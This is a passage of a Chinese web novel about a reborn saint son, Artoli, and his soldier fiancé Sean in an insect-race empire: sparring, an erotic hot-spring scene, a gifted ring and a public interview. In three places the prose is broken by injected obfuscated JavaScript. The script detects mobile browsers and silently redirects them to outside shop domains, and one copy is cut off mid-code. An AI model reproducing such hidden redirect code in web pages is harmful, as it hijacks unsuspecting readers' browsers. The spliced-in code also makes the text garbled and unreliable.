我向前半步,将雌虫揽入怀内。低头咬上。 西恩发出一道低沉绵长的喘息。拳头不觉松开,红晕复苏。眼神微睁,目光迷离。 如何让这只高傲凶狠的雌虫,化作听话温顺的小狗,我可有数十年的丰富经验。 【回答我,西恩。】 我揽着他的腰,同时叫他的名字,自下而上观察他的状态。 他微睁双眼,眼中一片迷离。 “没……没有……”西恩下颌高扬,喉结起伏,发出低沉的叹息,“没有……听到……” 【你的精神域,有没有瞒着我的大问题?】 我追问道。 西恩双手抓住我的肩,滚烫的温度顺着相接处传来,整个身子都在战栗发抖,却不是害怕,而是因为难耐的兴奋与激动。 【回答我。】 一声高亢的呻-吟,西恩变长变硬的指甲又一次划进我的皮肤,带出几点血珠。 情欲高涨下,他的虫化体逐渐显露,指甲作为虫族的外骨骼,是最容易受影响的部位。 忘了说,为了训练,我同样穿了一件无袖短袍,于是短短几分钟,我的胳膊肩头全是红痕。 雌虫伤害雄虫,不管有意无意,都要惩罚。 甚至某些情况下,情事中的这种虫体化罚得更重。因为其显示雌虫作为天生有罪者,竟然会在雄虫治愈安抚他时完全纵情享受,反客为主,忘了尊卑。 但我早就习惯了。 别看萨提洛斯少将平日军服笔挺、礼仪完美,实则是只从里到外的野生动物。 生气了咬、高兴了咬、做的不爽咬,做的爽了还要咬。见血的那种。 几道指甲勾出的小伤痕,对比而言简直就是毛毛雨。 我在心中叹气,同时又觉得他这点很可爱。 我吐出嘴中东西,站直身子,埋头在雌虫耳垂上咬一口当做返还。 西恩手劲松了一些,喘息声加大,整个肩背都汗水淋漓,滑腻腻地贴在我身上。 还没得到答案,我调整了姿势,和雌虫拉开一些距离。正要再开口时,眼前一道拳风直逼脸面—— 气势汹汹的一拳被我抬手架住。 抬眼看去,正对上西恩面容狰狞、咬牙切齿,怒不可竭的低吼: “滚!又搞偷袭?!” 话落之时,西恩已收回拳头,再次攻出。这次,我甚至都没看到他是怎样出拳,便被一道冷风擦脸而过,重心失衡,向后踉跄几步! 艹! 真打!还想打我的脸? 孰可忍是不可忍! 辛苦做工换来如此对待,我心口瞬间腾起一团火。也不客气,纵身后跃,反手一波精神力之刃就朝雌虫扔去! 对着西恩,我可以放心招呼。 所以我每次攻击都直接朝他要害招呼——绕过他的拳头击向咽喉、待他防御时偷袭下腹、闪过他的擒拿肘击肋骨…… 作为雄虫,无论何种情况,都要避免近面贴身战,最好是中远距离,未见面就已用精神力决胜负。 因为雌虫的□□强悍度在宇宙各文明中都是碾压级的。他们真的可以徒手撕机甲。 如果避免不了贴身战,那就要练好敏捷和灵活,成功闪避保存力量后,再寻找空隙,以精神力为主、体术为辅下黑手。 我的游击操作让西恩抓狂。哐哐哐的巨响中,他的拳头和腿不知在墙上砸出多少凹陷。 不明白他为何如何生气。明明这些都是他原来教我的。 所以是,只许州官放火,不许百姓点灯? 我旋身躲开雌虫的飞扑,手指向前一指,地面上立刻冒出半透明的紫色丝条,它们抖动触手,争先恐后地扯上了雌虫的小腿。 西恩被绊倒在地,我趁机锁住他的脑袋、骑上他。他闷哼挣扎,我们翻滚到房间边缘。 我压在雌虫腹部,试图用膝盖压住西恩的手肘。他则紧紧钳着我的手,试图靠臂力将我整个虫从他身上推开。 僵持仍在继续。 勒紧的精神力丝条已将雌虫喉咙缚出了红痕,也将他的双腿牢牢绑在地上。 西恩只使了三分来和我对抗——没有进入战斗状态,更别提虫化姿态,他只是纯纯用技巧和身体基本体能。 “……我收回精神力……你不能对我出手……” 我气喘吁吁地对他提议,“有什么……我们起来好好谈……” “是你先坏规矩。”西恩也十分狼狈,衣服被精神力割得七零八落,“别TM装无辜!” “你不是就想要这个吗?”我装出一副诧异样,脸贴近他的下巴,“你自己说的,出征前继续‘圣言’。” “阿尔托利!” 西恩红着眼,看起来愤怒得快要疯了,咳得连呼吸都困难——精神力丝条放松了一些,但他没有点头,我可不敢松开。 “刚就应该揍你这张脸!反正你也不要脸!” “你舍不得的。” 我低笑,让精神力缠上他的胳膊,这才松了口气,坐在他身上直起了腰。 “你最喜欢这张脸了,不是吗?” 一次还能说意外,每次都完美闪避? 那是太高看我这三脚猫拳脚的同时又太太太小瞧了西恩。 所以没一会我就反应过来。 然后很没出息的为此感到开心,当然也就没法生气了。 我轻眨着眼睛,一点一点将这张脸凑过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447697|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 束发的绳带在刚才的打斗中松开,浅银色的长发便如水银从我肩上倾泻而下,垂拢在雌虫脸庞两侧。 果不其然,西恩抿了抿唇,没了脏话,没有凶狠瞪视。他反而像是感到不舒服地侧过脑袋,逃避我的注视。 “重死了,阿尔托利!快起来!” “不要。” 精神力丝条松开他的喉咙、却加大了束缚他四肢的力。 怎么办,他摆出这个样子,害得我又想对他做点什么。 西恩一定也察觉了我的变化。 因为突然间,他的肢体就变得格外僵硬、紧绷。汗水从他刚硬的额头淌落到耳侧,耳根处软软的绒毛都被濡湿,更别提他的脖子耳朵,迅速地又烧了起来,将那片蜜色的肌肤衬托得格外有诱惑力。 “我今天收到了那份视频文件。” 突然间,雌虫开口,沙哑的声音说着和此情此景完全无关的事。 我楞了几秒,才反应过来。 “昨晚的?” “嗯。莱伊发来的。” “哈。”我不觉笑出声来,“本想提醒你我荒淫,结果只能换成嗜血暴力。也不知道哪个更好一点。” 那台连接着地牢监控的平板,会出现在西恩休息的地方,只能是那里主事虫的授意。 我相信,如果西恩没被吵醒,错过了现场直播,视频也会在第二天出现在少将阁下的收件箱里。 “那我们是不是更应该马上办结婚手续,替他省省心力?” 西恩试图瞪我,但眼含水光,实在没什么杀伤力:“如果流传出去,对你很不好,阿尔。所以我让他删掉了。” “他那么听话?” “如果给的价钱足够,就是皇子殿下也会心动。” “他就这么不想让你我在一起?为什么?还有,他这么挑拨离间,不怕我知道?” “你会信吗?”西恩突然说道,“我和他,你信谁?” “……诶等等,你刚叫我什么?” 我后知后觉。在回答这个问题之前,刚刚听到的也很关键。 “阿尔。”西恩大大方方地承认,眼神颇为挑衅,“怎么,婚能结,这个不能叫?” “当然不是。” 阿尔是我的昵称。上辈子只有老师和兄长会这样叫,最多再加个西恩。 刚才雌虫叫的那般顺口,让那个念头又浮出水面。 圣言验证真伪。 如果雄虫足够“信”,便可以甄别所有谎言。 我问了,得到了回答。 那么不管我有多么不愿相信,昨晚那些对话,也只是我半醉半醒时的臆想。 “我和莱伊,你相信谁?” 在我跑神时,我身下的雌虫再次发问,似乎很执着于那个答案。 “……如果是以前……” 我沉吟道,忽然就明白莱伊无所畏惧大搞两面虫的依仗了,“肯定是莱伊——” 在雌虫面色阴沉的下一秒,我赶忙补上:“但现在,是你。” “你说的任何话,我都无条件相信。” “一句忠告,不管对象是谁,殿下最好还是保留一点。否则怎么死的都不知道。” “……” 真会破坏氛围。 明明我都想好接吻的姿势了。 算了,君子不强人所难。 已经毁了他一身训练服,再逗下去,估计西恩还以为我是什么欲求不满的se情狂。 我站起身,收回外放的精神力,随即朝地上的雌虫伸出手。 黑发雌虫由下而上地看我,因为角度原因,他那双宝石般的绿眸显得比往日更浓郁深邃,透出一种不合时宜的深沉。 我的心猛地一跳。 我和西恩就这样近距离地、静默地对视了一会,直到雌虫拉住我的手,动作利落地翻起身来。 17.海勒斯之戒 一场久违的认真对打,让我气喘吁吁、急需补充水分。 我点按墙上按钮,在弹出的补给柜里拿出两瓶水,扔了一瓶给西恩。 他扭开瓶盖,仰头大口喝下。 “虽然有点累,但还不赖,确实挺解压。” 我挨着雌虫靠墙坐下,用冒着冷气的瓶子冰着脸,歪头说道。 “有些明白军雌为什么喜欢跑训练场了。” “……殿下,刚才那些,热身都算不上。您不会以为就这样结束了?” 雌虫冷嗤一声,语带嘲讽。 “我发现你阴阳怪气时就喜欢叫我殿下。” 我有点无语,明明也是领兵作战的高级将领,怎么脾气这么阴晴不定。 可如果是因为害羞才恶语相向,那我还挺欢迎。 “阿尔。我喜欢你这样叫我。”我扭头对他微笑。 西恩愣了一愣。 看吧看吧。 圣子阿尔托利最完美无瑕的纯洁笑容,迷不死你。 ………… ………… 稍作休息后,萨提洛斯少将阁下的独家体术课正式开始。 上辈子上过一次,也有了一些心理准备,但真的到来时,我才发现,不论几次,能换个老师还是换吧……… “还有五组!”西恩拿着计时器,立于一边,冷声说道,“动作再快一点!你这样软绵无力和残废虫有什么区别?!不,我不该侮辱残废虫。” (…………) “你别以为你之前有点基础,就沾沾自喜。那点垃圾,你刚使出第二招就被彻底制服了!” (不是?那点垃圾也是你教的啊。) “一招,这几天你只要真正学会一招,关键时刻就够你保命。但我怀疑你永远学不会这一招。” (哈?看不出来你小子还会整PUA这一套。) 两个小时后,我毫无雄子形象,以大字型趴在地上,无论西恩怎么拿语言激我,也纹丝不动。 我合理怀疑他在为了那段“逼问”公报私仇。 “…今天就到这里吧。” 僵持数分钟后,雌虫大发慈悲,说出了天籁之音。 “我要洗澡。” 我喃喃低语,从地上慢慢爬起,扒拉着被汗水浸湿、像薄纸一样黏在身上的衣服。 “你和我一起去。” 西恩正在穿他的外套,闻言回头:“?” “我不能这样回去。” 不用照镜子我都知道自己现在是个什么鬼样。 仿佛刚从水里捞出来,柔顺长发变成拖把,整洁衣饰皱成烂纸,更别说胳膊腿上甚至还有脸颊脖子上的划痕擦伤。 这要被拉格哈勒看见,不知要被啰嗦多少句、又要脑补多少强制爱剧情…… 中年虫也是要面子的! “训练场后面有处挺隐蔽的天然温泉,没多少虫知道。少将阁下操练完了,总得帮抹点药、善后善后吧?” “我可不想我的未婚雌君被传出有奇特癖好。” 不知道这两句哪句戳中了西恩,他略一思忖,便点了头。 我给哈勒发了消息,让他先回住处,随后我和西恩拿着圣廷药箱以及训练场提供的全新衣物,出了训练室,离开大厅,绕进一条门外不起眼的小道。 “走七八分钟就到了,挺近的。” 我翻过一块半虫高的岩石,拿着战术手电筒照了下四周,确认四周环境符合记忆后,对后面的雌虫招手。 实际上只用了五分钟,我们便到了。 黑漆漆的山石间,有乳白色的雾气缭绕漂浮。 再往前走,视线逐渐穿透雾气,眼前豁然开朗,赫然是一处温泉。月光从石缝中落下,映照在涌动的水波上,显得无比宁静舒畅。 终于! 我迫不及待地扯掉外袍,脱下里面短袍,手刚拉开长裤腰带,就听后面一声粗重喘息。 ……这才想起来,现在的西恩还没任何经验。就是简单看看雄子裸-体,好像也有点刺激。 仿佛没有察觉西恩的异常,我手上动作不停,整个脱完后就直接下了水。 温暖的水流轻柔地拥抱着每一寸皮肤,热度逐渐渗透进身体,肌肉的紧张和关节的酸痛慢慢消融。 我忍不住发出一声轻吟。 舒服。 泡了几分钟,身后还没有动静。 我就着月光回身,寻了一会,才发现隐在阴影处的高大身影。 “少将阁下,今天的体术课程是结束了。但你是不是还忘了一件事?” 我朝他喊道:“你的圣言课。” 无虫应声,黑影一动不动。 真别扭。我叹气,但又能怎么办。 为了两家联盟,为了未来大业,友好的夫夫关系是基础。 【过来。】 我扬声说道,再次用上圣言之力。 这次西恩没有徒劳抵抗,很快就来到我池水边。 “亲也亲了,舔也舔了。现在才害羞是不是有点太晚了?”我挑起一抹笑容,促狭地看他,“下来一起洗呗。” “那不一样。”西恩冷着一张脸,声音低沉,若我真不了解他,大概会以为他心情不好或在生气。 但实则他不好意思或者尴尬时就这样。大概臭脸是默认表情。 阿尔托利的通讯码备注名很符合。 “好吧。那我洗完你再洗。” 好的猎手,会懂得后退也是一种进攻。 我没再紧逼,径自朝后靠去,双臂摊开靠住岸边石块,让身体在水里沉得更下。 “忘了问你,这几天的治疗,你能接受的等级是什么?” 背后的视线变得灼热。沉默一会后,西恩开口:“B。” 禁止插-入。但除此之外,一切都可以吗? 这个级别,对严格遵守圣廷教义的未婚雌虫来说,是非常大胆的。 我就说,西恩的闷骚是天生的。 “我知道了。”我回复道,又瞅了他一眼,“那开始吧——” 【跪下。】 身后响起十分响亮的膝盖磕地声。 【帮我洗头。】 我脑袋朝后靠,直接闭上眼。 这头银发好看是挺好看,但麻烦也是真麻烦。 哈勒不在,我可不想自己操劳。有现成的劳力,当然得使唤了。 一双大手从后抱住了我的脑袋,紧接着,五指轻轻地插--入发间、一一抚过,动作细致温柔的让我不敢相信,这是一双军雌的手。 水声淅沥。 洗发水的淡淡柠檬清香渗入鼻腔,伴随着力道适中的按摩和揉捏,我在热气里昏昏欲睡。 “……也不知道,为什么莱伊要如此针对我……” 我嘀咕着,念头跳来跳去,落到了这个上面。 对于科尔,我可以随心所欲地安排、处置。 对于莱伊,震惊于他对我的恶毒之后,我内心最深处,仍然有一个地方无法释怀。 我原以为他是喜欢上了科尔,我们成了情敌,才会那般对我。 但重生以来,才发现早在这个时候,他已开始憎恨我了。 可为什么? 他是兄长的雄子。是我的家人。阿尔托利也许欠很多虫的,但其中绝没有他。 头上的手指停了下来。 “…西恩?”我嗯哼道。 “你不知道?”雌虫听起来很震惊,震惊到我的睡意即刻消散于无,“全帝国的虫都明白理由。” “啊?”哗啦一声,我在水中直身扭头,直直望向西恩,“什么理由?” “陛下。”西恩言简意赅,只吐出一个词。 “和哥哥有什么关系……” 我的脑中忽然涌上很多片段。 而一根无形的线将过去种种飞快地串联在一起,当时显得古怪的细节、曾经发生过的对话、莱伊奇怪的眼神…… 突然间,一切都有了解释。 “他嫉妒我??” 再是匪夷所思,排除所有不可能,剩下的就是答案。 “没错。” “他是陛下的虫崽,你是陛下同胞亲弟;他是稀有宝贵的皇室雄子,你是万里挑一的圣廷圣子;他外貌才能都算中上,其实已很难得;但你更过分,长成这样,还觉醒三项天赋。” “陛下对他是宠;对你,则是用生命去爱。” “只要你存在一天,陛下眼里就永远只有你而没有他。” 一句一句,西恩低沉的声音平板无波,眼神犀利洞彻,燃着森冷之火,让我想起十几年后,法庭上高声数落我罪证的检察官。 就像那时我只能沉默以待,如今我也无话可说。 因为我知道,他说的是事实。 七年后,我的兄长,奥兰·弗里德里希·罗森克洛伊,帝国尊贵无比、至高无上的虫帝陛下,会为我献出他的生命。 我失去了如山一样伟岸,为我遮风挡雨,让我依靠的虫;也失去了如水一般无声,默默滋养我的虫。 他是我的兄长,是我血脉相连的半身。自我降临于这个世界,便是我最亲密的存在。 他的离去,如同一把凿子,在我灵魂深处凿开了一个巨大的空洞,而这个空洞永远无法被填埋、被修补。 我感到了前所未有的彻骨寒冷,仿佛整个世界的温暖都随他而去。 自那以后的每一天,哪怕行走于阳光之下,我的内心也充满无法言说的悲凉与恐惧,仿佛一片落叶,在寒风中打转飘零,不知归处。 “…………” 情绪剧烈翻涌。 西恩短短几句话,仿佛一把刀,直接插-入我重生以来,刻意不去想、不愿碰触的地方。 我一言不发,抱着膝盖,连带着自己整个头,都浸到温泉水下。 烫! 温泉比泳池的水温高很多,并不适合用来练闭气。 但我宁愿忍受着皮肤的不适,也不想现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14458120|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒头出去,被另只虫看笑话。 也许只过去了十几秒,又或者是几分钟,一双铁钳般的手忽地抓住我的肩,将我从水里拽出。 天旋地转间,我跌进一个宽厚的胸膛。我大口喘气,湿漉漉的长发不住往下兜水,转眼间就将来者的背心浸得湿透。 “阿尔托利!” 雌虫的声音急切紧张,很快又转为狠厉的斥责:“你TM想干什么?!脑子进水了?!!” 我抬眼看他,发现西恩一贯冷峻的面容是止不住的慌乱和后怕,他现在看起来比我更狼狈,而那不是破烂的训练服或突然跌进温泉水造成的。 “可不是脑子进水了吗……” 我苦笑着自我嘲讽,装作整理头发的样子,低头避过他的盯视,“我洗好了,先上去。” 我头也不回地向前走,结果才半步,就走不动。 手臂被虫直拽,又是那仿佛铁钳一样的怪力,要想挣脱,除非把整条胳膊卸下来。 “西恩,放手。”我旋身回头,语气是刻意装出的轻快,“还是说,你改变主意了,要和我一起洗?” 这几个字,可比身体力行的拉锯战来得有效。 果不其然,仿佛被什么烫着一般,雌虫下一秒就着急忙慌地撤了手。 就说我很了解他吧。 我为达到预期效果而有点沾沾自喜,但这点喜悦一闪而过,很快又沉入内心那团深不可测的污泥之中。 我再次转身,然而猝不及防地下一秒,被某虫从后面整个抱住了。 “西——” 恼怒的叫喊没有下文,因为对方一口咬住我的后颈,咬得我一阵生疼。 艹!肯定出血了,这家伙不是军雌是军犬吧! “……殿下,这就结束了?” 西恩松嘴,按着我的肩,将我整个虫转过去,直到我们胸贴着胸。 等等,胸贴着胸? 我怔怔地看着面前的雌虫,不知何时,那件破烂背心不见了,只留银链军牌,悬空缀在胸肌凹缝之间。 热气蒸腾成浅浅水迹,爬上西恩精壮的躯体与蜜色的肌肤,也同时如小虫一样爬上我的心头,让某处瘙痒难耐、无法安生。 见我如此,西恩抿着唇,脸色冷厉地拉起我的手,一把按上自己的胸肌:“不要吗?” ! 我是真的想来洗澡!不是打着幌子来玩湿身Play的!! 而且你那个表情是怎么回事,是你主动的,我又没有来强的!!! 我恨恨地瞪他,瞪着瞪着,忽然转过弯来,明白这突如其来的一出是为什么。 原来刚才的情绪低落没有藏好,还是被他看出来了。 他不清楚具体缘由,但肯定明白和莱伊和兄长有关。于是作为直接始作俑者,想要通过这种方法来安慰我? ……呃,一时间很想吐槽,却又不知从何吐起。 追根溯源,都怪我那不知什么时间建立起的se情狂人设。 “没心情。” 我如实回答,试图将手从他胸上扯开。结果根本动弹不了,手腕被锢得生疼,还在雌虫胸口抓了好几道。 在这一拉扯过程中,一道冷光频频刺入我的眼角。是我戴在手指上的细环戒指。 怎么把这事给忘了? 当即,我狠掐了下掌心的那粒小点,趁雌虫吃痛时,将我的胳膊收了回来。 我褪下那枚戒指,抓起西恩的手,放到他的掌心:“海勒斯之戒,给你,记得戴。” 海勒斯,上古语,意指美好时光,太平岁月。 如它的名字一样,这枚戒指也来自上古时代的祭祀殿遗址,是圣廷代代相传的至宝之一。 它的珍贵,来源于它本身蕴含的浩瀚宇宙能量。而这个能量,恰恰为土元素。 幼时老师将它交给我时,便是因为它可弥补我对土元素几乎为零的感知,从而更好地修行。 老实说,这东西在我身上,是大材小用。 但对觉醒了圣守之力的雄虫,是精神力增幅的神兵利器。 对能量属性为土的雌虫,是保护根基、滋养精神核心的真正宝藏。 “你不愿意让我进你精神域,那就戴着它,一般问题它都能帮你慢慢修复。大问题也能派上些用处。” 见西恩愣神,我索性拿起戒指,分开他的手指,直接替他戴。 在我中指上刚好的尺寸,只能堪堪卡上他的无名指。 努力向下推,终于推到根部。 “黑色很衬你。”我满意地点头、打量:“你该多戴点饰品。” “好了。我这次要真的走了,你慢慢洗,我回去填贝卓的那些表格。” ……然而又没走成。 西恩一个跨步,将我一把拉到身前。 雌虫英俊的脸逆着月光,这一刻我望着他,不知怎的,想起了十五年后的西恩·萨提洛斯。 他们的身影渐渐重叠。 下一瞬,他倾身吻了过来。 18.好事 我刻意提前沐浴,为的就是晚上回去耳根清净。 结果依然没用。 “宇宙的主宰!” 哈勒双瞳圆瞪,脸上的神色不知道的虫还以为怎么了:“这、这是萨提洛斯少将……咬、咬、咬的吗?” “您怎么可以允许他这样做!” “您可是圣子!圣子的身体尊贵无比,他一只雌虫竟敢如此冒犯——” 我将一块刚烤出的黄油面包塞堵进他的嘴里,阻止魔音穿脑:“只需要你动手,不需要你动嘴。” “快点。” 我沉下脸来,显示我的不悦。 阿尔托利可是喜怒无常的少年虫。 我要时不时的提醒哈勒,长点眼力劲,别总在太岁头上动土。 果然有用。哈勒艰难吞完面包,便小心翼翼地处理我后颈伤口——没错,就是被西恩咬出来的。 他但凡稍微偏移一点,我都不用找虫帮忙。 哈勒对着伤口喷上消毒水,又细细涂抹一层药膏,末了将我长发重新绑起,绑得更高一点,像个长长马尾,避免蹭到药膏。 他目光哀怨地退下后,我对着镜子又看了看。 阿尔托利现今还有很多疯狂粉丝和爱慕者,据说只要有他出现的视频,每帧图都被虫会抠下来反复观看。 而看的虫多了,这伤口就很可能被虫发现。 到时发到网上造成舆论事故,西恩少不了要被问话、责罚。 伤口不很明显,明天披散长发,便可完美遮盖。 如此一来,原定的安排也不用变动。 我松了口气。 重生以来,除了生病那几天,我每天的日程都很满。 比如,过去短短一周,我参加了一间雄子专校的开幕仪式,拜访了幼崽疑难病症科的病患们,给幼崽们送出了一箱又一箱的礼物。 第二天,我又被拉去某个异星生命博览园,给植物按摩,还喝了一大壶奇怪味道的牛乳。 还有报纸杂志网络媒体的访问,分门别类、层出不穷。 那些听过几百遍的问题,大部分我闭眼都可以作答。 这些跟随圣子身份一同而来,以及作为皇室最受欢迎雄子的宣传职责,从我还在蛋里就开始了。 贯穿我的破壳、生日、户外活动、上学交朋友、青春期发育、参加派对聚会等每一项日常。 可以说,阿尔托利前二十六年虫生,时时刻刻被镁光灯照映、被摄像头跟拍,几乎毫无隐私。 如果重生时能把这部分剔去,那就太好了。 抱着如此想法,我进入睡眠。 第二天,我还在吃早饭时,拉格来报:“殿下,圣座希望能和您共进午餐,私虫性质,嘱咐不带侍从。” 我心头一跳。 本能知晓,这是上次谈话后续。 午饭前,我还有一个专访——没错,又是专访。 采访的间歇,我倚在沙发椅上,一边争分夺秒地休息,一边托着腮帮子叹气。 "殿下、殿下……” 拉格给我的红茶注入牛奶,小声提醒,“您的坐姿。” 回神一看,我才发现自己翘了二郎腿,腰也彻底陷进靠枕中,一副百无聊赖的纨绔子弟样。 再一瞥,余光还扫到几个藏在暗处的摄像头,就那轻微的咔嚓声来看,一定已经拍了很多张。 我感知着摄像头的位置,干脆靠得更后,将长发撩到耳后,又解开领口缀着宝石的圆扣,恰恰好让锁骨线露出来。 我端起红茶,浅呷一口,舔舔嘴唇,对着前方勾唇浅笑。 圣廷为阿尔托利塑造的高洁禁欲形象该更新了。 他不该是不谙世事的娇贵圣子,而应是更攻击力的、掌控感的强者。 他制造规则,而非遵守规则;他通晓虫心、操控全局,一个眼神,就能让众虫颤抖跪倒,尊敬而畏惧。 就从这里开始。 “殿下,这次祝祷仪式,全国上下都很期待。但星网上也有虫指出,您上次等级测评刚刚过A,不具备施行光复礼的实力。此次仪式,很可能存有黑幕……” 采访的亚雌笑得很是勉强,显然也知道这问题很不合适。 但此问题是网络票选出来的,他作为官方代表,就算不愿也必须问。 而我作为圣廷代表,官方发言虫之一,不想答也得答。 “上次测评?几年前了?” 我懒懒笑道,像听到了什么好笑之事,“我依稀记得是十四还是十五岁?” 旁边的提词板上蹦出答案,我跟着纠正:“哦,是十三岁。八年了,我有很大变化,这样说的虫也该换换脑子,撇下无用的偏见了。” “当然,如果不想动脑,那也可以仰仗他虫判断,比如尊敬的教宗阁下。” 我的回答和工作虫提前准备好的解释无一字重合。 眼角余光处,正巧能看到一干工作虫忧心忡忡地擦着汗,满脸惶恐。 大概是替圣子殿下担忧。如此冷言冷语,定会换来骂声一片。 之后又继续了几个不痛不痒的问题。很快,翻着问题卡的亚雌眉头一跳,显露出几分难色。 “问吧。”我朝他点头。 “……殿下,众所周知,您和此次即将出征的萨提洛斯少将定有婚约。但至今距您成年已快一年,却尚未听闻婚约推进的情况……” “坊间流言,说您十分不满这桩婚事。私底下还称萨提洛斯少将为难啃的硬骨头,说他身材太壮,不通情趣,但凡脑子正常的雄子,都对少将下不了嘴……” 呃,我以前真这么说过? 被过去的子弹击中,我笑得十分虚弱:“其他不予置评。后面那句我要更正。西恩确实块头大、脾气大,但我就喜欢这样的。” “婚约已在推进,如果顺利,明年这个时候,你们可以期待一下小虫崽的降生。” 话落,现场一片哗然。 这话换个雄子来说没什么。被高洁的圣子殿下说出,不亚于开了黄腔。 就很奇怪,网虫喜欢八卦我的边角料,窥探我的私生活,但当他们真的发现点什么,又会觉得幻灭、指责我没有圣子该有的模样。 谁来定义? 我是圣子。那么,我是什么样,圣子就是什么样。 我不会去迎合民众的期望,而他们有权利选择,是否接受真正的我。 “……殿下,感谢您的回答。今天的采访就到这里。您还有什么想对民众们说的?” 亚雌还有点专业素养,在场外虫还在窃窃私语时,已恢复如常。 【一个祝福:享受周末,做个好梦!】 我看向镜头,在四周射来的灯光中,缓缓绽开一丝微笑。 此前稍稍练过两次,这次正式调动圣言和圣愈之力,比我想得还要容易、效果也更为显著。 只见现场二三十之虫,都有两秒的完全凝滞,像是被定在原地。 在我的感知里,强大宏厚的精神力以我为中心,随着这句话,像水波纹般向四周辐射。 霎那间,其不光笼罩了整间访谈室,还在穿过走廊庭院、向外持续扩展。 身在这片区域的虫族,不分雌雄,都被这股波纹激出了精神力共振。渴求、眷恋、敬仰、爱慕等等隐藏在体内深处的情绪如洪水泄出,将他们的感知淹没。 仿佛被操控的木偶,他们纷纷朝着一个方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“虽然深度一般,但如此大范围的圣愈,消耗不会少。还有圣言。” “我今早见萨提洛斯少将时,在他身上感知到了一丝你的精神力。你在对他做治疗?” 还没等我回答,老师又继续说道: “我很高兴你终于知道自己该做什么了。只是长年积累,西恩的缺口太大了,哪怕你们年轻,也要注意不要过度放纵。” 我差点被葡萄汁呛到。 姜还是老的辣。老师随便看两眼,就知道我们进展如何。 我甚至怀疑,我要是上一刻和西恩睡了,这老头下一刻就能知道。 有点羞耻。 脸面有些烧,我低头拿起餐叉,专心致志对付起盘子里的牛肉。 “话说回来,过两天的光复礼,为求稳妥,我建议你标记萨提洛斯少将。” “身体交融可以帮助你施展精神力,深度全面地梳理修复他的精神域。” “你们本来就是未婚夫夫,这样做也很顺理成章。” 喀拉一声。刚切好的牛肉块滚下了餐桌。 “……这,不太好吧?” 我小声嘀咕,眼神四瞟。 “不用肉-体接触,我也能梳理修复……再说,光复礼虽是一对一,但依然算仪式的一部分。一扇门外还等着一堆圣廷虫和军雌……老师,你不如杀了我……” 这个时候,老师忽然笑了一声。 “你这兔崽子,在我面前还要装?” “嘴上说不行,其实眼睛都亮了。正大光明地向其他虫宣誓主权,不就是你最喜欢做的事?” “如果你确实如你表现的那般想明白了且有决心。那么光复礼是个很好的时机。” “精神标记和肉-体标记,双重标记同时进行。对你对他的助益,可是无法估量的。运气不错,甚至能帮你一跃到S级。” “如此好事,别告诉我,你不动心。” 19.圣子阿尔托利 “大消息!大消息!今晚的电影理疗取消了!” “艹!搞什么鬼?!□□练成狗就这点期待了,临时取消是脑子有坑?” “真假?宇宙的主宰,我TM还攒着点数想今晚兑个VIP!结果就搞这?” “谁干的?不会又是新来的后勤主管?!艹TM的!” 臭气哄哄的更衣室里,赤-裸着上身走来走去的军雌们在野外实训了整两天,刚洗干净、屁股还没坐实,就被这突如其来的消息炸了锅。 怒火冲冲的雌虫们将毛巾摔到地上、不停咒骂着脏话,还有几只脾气暴躁的,直接脚踹更衣柜,崭新的合金凹进一个大坑,哐啷几下直接砸地解体了。 “这是谋杀!这是犯罪!!如果有虫因为得不到治疗狂化了,他们负得起这个责任吗?!” “有没有虫权?!我们可是要远征的,远征的!远征前就想看看雄虫,TM的为啥这么难!!” 角落的哀嚎声此起彼伏,一群两米多高、身强体壮的抱头痛哭的画面可真是有点辣眼。 杰克森作为这里面级别最高的上校,饶是看惯自家兄弟,也忍不住嘴角抽搐,难以忍受地转过头去。 “你们先别嚎。看看公告先。” 杰克森心累至极,干脆直接将自己终端上的屏幕立体投影出来。 “是不放电影了。但是,会放圣子殿下的采访。” “谁?!” “我听错了?!” “圣子?哪个圣子??” “伯恩,蠢也要有个度。我们TM的有几个圣子?!不就是那个圣子!” “萨提洛斯少将的未婚夫?陛下的弟弟?叫什么……阿尔托利?” “我不是白痴。我当然知道他叫阿尔托利。问题是,我们看他采访干什么?” 一群发型各异的脑袋朝杰克森凑了过来。 还有些挤不进来的,干脆登陆自己账号,骂骂咧咧地在内部网站中找到那条最新发布的公告,点击查看。 再三刷新,还是同样的内容。 而这条公告的下方,匿名评论区正在快速增长。无一例外的指责咒骂。 还有一些性急的,已经开始一遍遍地拨打内部投诉热线,脏话侮辱虫身威胁十八仙过海各显神通,只为同一个目的。 ——把我们的电影理疗还回来!劳什子的圣子采访,该死哪死哪,别来碍老子的眼! 杰克森有一些自己的猜测。 大战当前,他们作为先头部队,每天都在紧张备战。 巨大精神压力和肉-体负荷下,可以说,军团每个士兵们都绷到了极点! 管理层再是脑残,也不会在这个时候搞形式主义,平白无故惹一身骂。 这个事情,百分百是最高层的决策。 最高层,最差也是远征指挥部。 再大胆一点猜,甚至可以说是帝国安全委员会、参谋长联席会议或者军部的决定。 而之后的发展,验证了杰克森的想法。 【校级以上军官,请于2000前,根据各军团内部指挥,分批次按序前往理疗室。】 【这是一次圣廷赐予各军战士的宝贵机会,请真诚、卑微、认真地观看。】 